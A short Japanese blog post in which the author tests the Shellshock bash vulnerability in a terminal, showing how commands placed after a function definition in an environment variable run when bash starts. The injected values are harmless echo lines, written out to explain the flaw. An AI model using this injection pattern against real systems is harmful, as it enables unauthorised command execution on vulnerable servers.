Shellshockがよくわからなかったからterminalで叩いてみたでござる
Shellshock盛り上がってますね。不勉強ながら
の
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
がよくわからなかったから自分で叩いてみたという趣旨でございます。
そもそも、環境変数に関数って知らんかったわけですが
$ export foo='() { echo "bar" ; }'
$ bash -c 'foo'
bar
そうですか。。。
じゃ、envで実行時指定にすると
$ unset foo
$ env foo='() { echo "bar"; }' bash -c 'foo'
bar
お、おう。
ここまでは期待通り。
で、おもむろに
$ env foo='() { echo "bar"; }; echo "hoge"' bash -c 'foo'
hoge
bar
え?
$ env foo='() { echo "bar"; }; echo "hoge"' bash -c ''
hoge
ええ??
$ env foo='() { :; }; echo "hoge"' bash
hoge
えええ???
というわけで、環境変数に入れ込む関数内の処理と、それを渡す先のbash上の処理の両方とは無関係に、環境変数に入れ込む関数の外に書いた処理が、環境変数引き渡し時に勝手に実行される脆弱性ということでやっと理解しました。
さて、時間があったらパッチとかソースとかでも読んでみますか。。。